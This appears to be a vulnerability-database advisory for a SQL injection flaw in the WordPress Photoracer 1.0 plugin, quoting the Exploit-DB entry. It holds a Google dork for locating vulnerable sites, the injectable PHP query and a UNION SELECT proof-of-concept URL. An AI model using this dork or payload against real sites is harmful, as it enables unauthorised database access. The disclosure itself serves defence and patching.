WordPress Photoracer plugin

vendor:

Photoracer

by:

evilsocket

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Photoracer

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:photoracer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability

The WordPress Photoracer plugin version 1.0 is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request to the viewimg.php script with a malicious 'id' parameter. This will allow the attacker to execute arbitrary SQL queries on the underlying database.

Mitigation:

Upgrade to the latest version of the WordPress Photoracer plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability
# Google Dork: inurl:"wp-content/plugins/photoracer/viewimg.php"
# Date: 2011-08-26
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://wordpress.org/extend/plugins/photoracer/
# Version: 1.0

---------------
Vulnerable code
---------------

[ viewimg.php line 16 ]

$imgid = $_REQUEST['id'];
$q1 = "select raceid, wpuid, imgid, imgpath, imgname, imgcomment, sumvotes, imgcountview, tinsert from ".
	$wpdb->prefix."photoracer where imgid=$imgid";	

$out = $wpdb->get_row($q1);

---
PoC
---

http://www.site.com/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8